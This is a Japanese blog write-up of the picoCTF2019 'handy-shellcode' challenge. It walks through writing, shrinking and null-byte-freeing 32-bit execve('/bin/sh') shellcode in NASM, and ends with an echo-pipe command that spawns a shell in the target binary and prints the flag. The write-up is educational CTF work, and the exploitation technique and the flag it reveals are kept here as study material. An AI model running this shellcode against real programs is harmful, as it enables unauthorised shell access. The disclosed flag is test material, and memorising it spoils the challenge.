2
1

More than 3 years have passed since last update.

pico-CTF3(公開用)

Last updated at Posted at 2020-12-27

pico CTF2019

このCTFは、初心者向けの常設CTFである。
3カ月ほどコツコツやっていたが、その中でもいい感じに解法がまとめられた・まとめる価値があるものをピックアップする。
なお、ここでは最も自分が時間をかけた、shellコードについてのテーマの問題のみを記す。

handy-shellcode (binary exploit)

This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/handy-shellcode_6_f0b84e12a8162d64291fd16755d233eb on the shell server. Source.

$ ls
flag.txt  vuln  vuln.c

vulnは32bitの実行ファイル。
vuln.cの中身は以下。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter your shellcode:");
  vuln(buf);

  puts("Thanks! Executing now...");

  ((void (*)())buf)();


  puts("Finishing Executing Shellcode. Exiting now...");

  return 0;
}

この関数ポインタについて調べる。

((void (*)())buf)();

関数ポインタ(アドレス)の宣言方法は戻り値の型 (*変数名) (仮引数);
関数ポインタ型をbufというchar型の配列にキャストしている。

これからやること

権限を見てみると、flag.txtの一切の読み書き実行が不可であることがわかる。
今回考えたいのは、実行権限が与えられているvulnを用いて、flag.txtを表示させる。
vulnとは、実行するとシェルスクリプトを待ち受けて、それを実行してくれる。
そのため、このvulnにflag.txtを表示させるシェルスクリプトを渡して、flagを表示させることを目指す。

$ ls -l
total 656
-r--r----- 1 hacksports handy-shellcode_6     39 Sep 28  2019 flag.txt
-rwxr-sr-x 1 hacksports handy-shellcode_6 661832 Sep 28  2019 vuln
-rw-rw-r-- 1 hacksports hacksports           624 Sep 28  2019 vuln.c
  • VSCodeの拡張機能Code LLDBをインストールした。(今回は使わないかも)

やることは、コンパイルしたC言語のプログラムから関数を切り出して、必要な部分のシェルスクリプトだけを抜き取る。

ローカルに落としてきたflag.txtは権限が -rw-r--r--だったので、問題の -r--r-----に合わせるため、chmod 440にする。

自分でプログラムを作成して、flag.txtを見れるようにするのか、vuln(準備されているもの)がやってくれるのかわからない。
vuln.cをみている限りでは、シェルコード を読み取っているようにしか見えないので、とりあえず、前者のCプログラムを書いた。

#include <stdio.h>

int main()
{
    //ファイル構造体へのポインタを宣言
    FILE *fp;
    char str[256];
    //ファイルを書き込みモードで開く
    fp = fopen("flag.txt", "r");
    //ファイルオープンに失敗した場合
    if (fp == NULL)
    {
        //失敗と表示し終了
        printf("ファイルオープン失敗\n");
        return -1;
    }
    while ((fgets(str, 256, fp)) != NULL)
    {
        //格納された文字を出力
        printf("%s", str);
    }

    //ファイルを閉じる
    fclose(fp);
    return 0;
}

(自戒&メモ)

  • アセンブラ(ツール)・アセンブリの言葉の使い分けをする!
  • 例えば、bin/sh/を実行すると、execve()はshellに入ってしまう
  • system()は生成された子プロセスで実行
  • コードを書いてshellスクリプトを作る方法もあるが、Shellを呼ぶ方が簡単
  • shellコードは、cのライブラリを呼ぶことは基本なく、OSに近いシステムコールを直接呼ぶ

【これからやること】
bin/shをexecveで実行するをアセンブラをかく
参考:CTFチャレンジブック付録

nasmコマンドのインストール

Visual Studio Codeの拡張機能も試したが、アセンブルの方法がよくわからなかったので、結局macのターミナルにコマンドを入れて行った。
以下の記事を参考にした。
https://noknow.info/it/os/install_nasm_from_source?lang=ja#sec2-1

アセンブラのコード作成

アセンブリファイルは、拡張子がs。
shellをとるため、/bin/shのアドレスをセットするアセンブラを作成する。
call命令は、指定された関数へジャンプすると共にcall命令の位置+5のアドレス(call命令で飛んだ先からリターンするためのリターンアドレス)をスタックにpushする。
これを利用して、/bin/shの文字列へのアドレスをスタックの一番上に載せた状態でシェルコードを継続できる。
jmp-callを使って、レジスタに/bin/shのアドレスをセットする。

; binsh.s
BITS 32
global _start
_start:
 mov eax, 11 //レジスタ(eax)に11を代入(11はexecveを呼ぶ)
 jmp buf
setebx:
 pop ebx //計算に使うレジスタのデータを取り出す
 mov ecx, 0 //回数カウントのためのレジスタに0を代入
 mov edx, 0 //計算のためのレジスタに0を代入
 int 0x80 //システムコールを呼び出す
buf:
 call setebx
 db '/bin/sh', 0 //後述
$  nasm binsh.s

上のコマンドで、アセンブルするとbinshが作成された。
そして、この機械語をndisasmで逆アセンブルする。

$  ndisasm -b 32 binsh
00000000  B80B000000        mov eax,0xb
00000005  EB0D              jmp short 0x14
00000007  5B                pop ebx
00000008  B900000000        mov ecx,0x0
0000000D  BA00000000        mov edx,0x0
00000012  CD80              int 0x80
00000014  E8EEFFFFFF        call 0x7
00000019  2F                das
0000001A  62696E            bound ebp,[ecx+0x6e]
0000001D  2F                das
0000001E  7368              jnc 0x88
00000020  00                db 0x00

キーワード

  • オブジェクト形式
    ソースコードから変換して生成される、機械語による命令を並べたコンピュータプログラム形式。バイトコードや中間コードのプログラムも含まれる。
    バイナリ形式で、これを直接編集したい時にはアセンブリ言語を用いる。
    アセンブルする、とはコンピュータが実行可能なオブジェクト形式に変換するという意味である。

  • リンカ
    ソフトウェア開発ツールの一つで、機械語で記述されたプログラムを連結・編集して実行可能ファイルを作成するソフトウェア。
    上述のオブジェクトコードが収められたファイルを元に様々な処理や変換をして、OSで起動可能な実行可能形式のファイルを作成する。
    連結には、静的リンクと動的リンクの二つがある。
    静的の場合、リンカがコード中から参照されるライブラリ関数など全ての機械語プログラムを一つのファイルに格納・単体で実行可能なファイルを生成する。
    動的リンクの場合、外部プログラムの連結は実行時に行われるため、リンカは実行ファイルにローダなど外部コードを呼び出す仕組みを組み込む。

立ち止まってアセンブリを深読み

binsh.sを読んでいる中で、int 0x80 と db '/bin/sh', 0がわからなくなった。

  • int 0x80は、x86(32bit)Linuxでシステムコールを呼ぶためのものということ。
    ちなみにeaxに11を指定すると、execveを呼びだす。
    eax-edxのレジスタを引数にとることができる。
    今回はshellを呼ぶだけで戻ってくる必要がないので、何もレジスタは呼ばない。

  • db '/bin/sh', 0について
    nasmでアセンブルするときに-l a.lstというオプションをつけると、どういう機械語(byte列)が出力されたかがa.lstに保存される、とのことだったので、やってみた。
    アセンブリする時に、リストとしてa.lstに出力することができる。

$ nasm -l a.lst binsh.s
$ cat a.lst 
     1                                  ; binsh.s
     2                                  BITS 32
     3                                  global _start
     4                                  _start:
     5 00000000 B80B000000               mov eax, 11
     6 00000005 EB0D                     jmp buf
     7                                  setebx:
     8 00000007 5B                       pop ebx
     9 00000008 B900000000               mov ecx, 0
    10 0000000D BA00000000               mov edx, 0
    11 00000012 CD80                     int 0x80
    12                                  buf:
    13 00000014 E8EEFFFFFF               call setebx
    14 00000019 2F62696E2F736800         db '/bin/sh', 0

この左から二行目・三行目については、$ echo -n "/bin/sh" | hexdump -Cの結果ということ。
echoのnオプションで最後改行を出力せず、"/bin/sh"を16進数で表示している。

$ echo -n "/bin/sh" | hexdump -C
00000000  2f 62 69 6e 2f 73 68                              |/bin/sh|
00000007

結果を上のnasm命令の結果と見比べてみると、hexdumpした結果と一致した。
つまり、シェルを呼び出す/bin/shのバイト列がセットされているということになる。
int 0x80でシステムコールを呼び出して、/bin/shでシェルを立ち上げるという流れになっている.

シェルをとることに戻る

シェルコードを動かしてみたい。
以下のコマンドで、XXX.oの形式のオブジェクトファイルに、binsh.sを出力することができる。
binsh.oが生成された。
nasmコマンド参考

$  nasm -f aout binsh.s

次に、リンカを実行して実行形式のファイルを作成する。(が、このコマンドが動かないので続く…)

$ ld -m elf_i386 binsh.o

このコマンドを使うために、vulnという名のdockerコンテナを作成した。(Ubuntu 18.04)
コマンドを色々とインストールしたり、環境構築している。

コンテナの環境が整ったので、以下のコマンドによって、実行形式のファイルを作成する。

$ ld -m elf_i386 binsh.o

すると、a.outというオブジェクトファイルが生成された。

ayano@1df6adb97950:~$ ./a.out 
$ ls
a.out  binsh  binsh.o  binsh.s  nasm-2.14.02  nasm-2.14.02.tar.gz
$ echo $SHELL

実行してみると、別のシェルに入り、lsコマンドなども叩けてしまった。(echo $SHELLは出力がなかった)

shellコードを圧縮する

小さなバッファにスクリプトを送り込めるように、短く記述することを考える。
wcコマンドによって、行数・単語数・バイト数を調べることができる。

$ wc binsh
 0  1 33 binsh

mov命令を減らす

mov ecx,0x0
mov edx,0x0

これらは、レジスタに0を代入する命令であるが、 mov 命令に NULL バイトが多く含まれていてもったいないという課題がある。
ここで排他的論理和を用いると、同じ二つの値に対して0を出力することができるので、この性質を利用して、レジスタに0をセットすること(これをゼロクリアと呼ぶらしい)で、movコマンドの置換が可能である。
よってこの部分は以下のように変更することができる。

xor ecx, ecx
xor edx, edx

そうすると、実際にシェルスクリプトが痩せた!(33Byte->27Byte)

$ wc binsh 
 0  1 27 binsh

この置換は、サイズ削減とNULLバイト除去の一石二鳥の効果がある。
NULLバイトを除去するメリットは、gets()関数がNULLバイトである'\0'までの文字列を受け取るため、その後ろのコードが切り捨てられて正しく動かなくなることを防げること。
これを逆手にとって、NULLバイト攻撃というものもある。
これは、NULLを文字列の中に入れておき、セキュリティチェックをすり抜けるものである。
終了制御文字以降に悪意のあるコードがあった場合に、攻撃が実行されてしまう。

NULLバイトの影響

実際に、NULLバイトが含まれるmovコマンドがあるスクリプトをvuln.cに渡す場合と、xorで置き換えることで終端文字がなくなったスクリプトを渡す場合で、どのような違いが出るのかを比較してみる。

  • バイナリコードを切り出して
  • それを標準出力としてvulnに渡す

関数の部分を切り出すプログラムをPythonで実装してみる。
オブジェクトファイルと実行ファイルは全然違うもので、実行ファイルはたくさんヘッダがついている。

pythonコードを書いてみた

オブジェクトファイルを読み込んで、標準入力から受け取った範囲だけを出力するようにしたい。
TypeError: '_io.TextIOWrapper' object is not subscriptableというエラーが出たので、次回に持ち越す。

print("input filename")
filename = input()
objfile=open(filename,'rb')
print("input start address and end")
address=input().split()
print(objfile.read[address[0]:address[1]]())
objfile.close()

シェルコード を(s拡張子)nasmでアセンブルした、ヘッダのないファイルを(拡張子なし)、disasmで逆アセンブルした結果の二列目のバイトコードを抽出して、"\x"を付けるコードを書くことにする。

# import pandas as pd
#import subprocess as sp
# subprocessを用いようとしたが、コマンドの出力の扱いが難しかった
# wcコマンドの出力から行数のみを抽出するのが大変

print("input the txt-file of nasmed & ndisasmed shell code")
filename = input()
f = open(filename, 'r')

# count the lines
line_count = 0
for line in f:
    line_count += 1
print(line_count)

# dataに中身を格納
with open(filename, 'r')as file:
    data = file.readlines()
    # print(data)

i = 0
lst = []
code = ""
# 各行をスペースで区切ってリストに入れる
# そしてcodeにバイト列を格納する
while line_count > 0:
    lst.append(data[i].split())
    line_count -= 1
    code += lst[i][1]
    i += 1
print(lst)
print(code)
splited = [code[j: j+2] for j in range(0, len(code), 2)]
print(splited)

k = 0
for hexnum in splited:
    splited[k] = r'\x'+splited[k]
    k += 1
print(''.join(splited))

このようなコードを書き、バイトコードを抽出して二文字に区切るところまでできた。
あとは、それぞれに"\x"を付けて一行のバイトコードとしたい。
"\x"となってしまう。。

31C0B00B31C931D251682F2F7368682F62696E89E3CD80
['31', 'C0', 'B0', '0B', '31', 'C9', '31', 'D2', '51', '68', '2F', '2F', '73', '68', '68', '2F', '62', '69', '6E', '89', 'E3', 'CD', '80']
['\\x31', '\\xC0', '\\xB0', '\\x0B', '\\x31', '\\xC9', '\\x31', '\\xD2', '\\x51', '\\x68', '\\x2F', '\\x2F', '\\x73', '\\x68', '\\x68', '\\x2F', '\\x62', '\\x69', '\\x6E', '\\x89', '\\xE3', '\\xCD', '\\x80']

小さいサイズのレジスタを用いる

スクリーンショット 2020-10-01 14.12.47.png

(セキュリティコンテストチャレンジブック付録より)

次はmov eax, 11の部分に注目する。
レジスタの配置は上のようになっている。

つまり、eax=0x12345678の時に下位8bitにアクセスしたいならば、alレジスタにアクセスすることでその部分を読み書きできる。
これによって、読み書きするデータの量を減らすことができる。
eaxレジスタに書き込みをしている部分を、eaxレジスタをxorでゼロクリアした上で、alレジスタへの書き込みに変更してみる。
さらに1Byte減ったことが確認できた。

$ wc binsh
 0  2 26 binsh

スタックに/bin/shの呼び出しのためのバッファをとる

スタックに/bin/shのアドレスをpushしておいて、それをcallするようにすると、さらなるコードの短縮ができる。
スタックに下のようにpushすることを考える。
0が入らないようにするため、複数合っても影響のない"/"を付加している。

【?疑問】
なぜ三分割するのか

x86(32bit)では最大4byteずつしかpushできないため、9byteのデータは3回pushする必要がある。

スクリーンショット 2020-10-01 18.03.45.png

以下のようにして、自分の端末の/bin/shのASCIIコードを調べた。

 $ echo -n "/bin" | hexdump -C
00000000  2f 62 69 6e                                       |/bin|

$ echo -n "//sh" | hexdump -C
00000000  2f 2f 73 68                                       |//sh|

binsh4.sというアセンブリを書いた。
ポイントは、9行目以降のゼロクリアしてあるecxのレジスタをpushし、上で調べた/bin//shをリトルエンディアンに直した状態で、pushしたところである。
これで/bin/shをレジスタにセットできたことになる。

; binsh4.s
BITS 32
global _start
_start:
 xor eax, eax
 mov al, 11
 xor ecx, ecx
 xor edx, edx
 push ecx
 push 0x68732f2f
 push 0x6e69622f 
 mov ebx, esp
 int 0x80

このバイトコードを、vulnの実行時に渡す。
以下はpicoのshellで実行したものである。
ちなみに、echoコマンドでバイトコード列を渡した後にcatしているのは、shellの中で標準入力を受け取らせるようにするため。

$ (echo -e "\x31\xC0\xB0\x0B\x31\xC9\x31\xD2\x51\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80";cat)|./vuln
Enter your shellcode:
1��
   1�1�Qh//shh/bin��̀
Thanks! Executing now...
cat flag.txt
picoCTF{h4ndY_d4ndY_sh311c0d3_15d47ccd}
リトルエンディアンとビッグエンディアンの復習

ビッグエンディアン:「最初のバイトからデータを並べる」やり方
リトルエンディアン:「最後のバイトからデータを並べる」やり方

インターネットプロトコルでは、ビッグエンディアンだが、Intel CPUなど、CPUではリトルエンディアンを用いることが多い。

参考記事
教えてもらったことメモ : 『一つ目のechoでshellコードを渡して二つ目のcatでキーボードの入力を受け付ける』

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1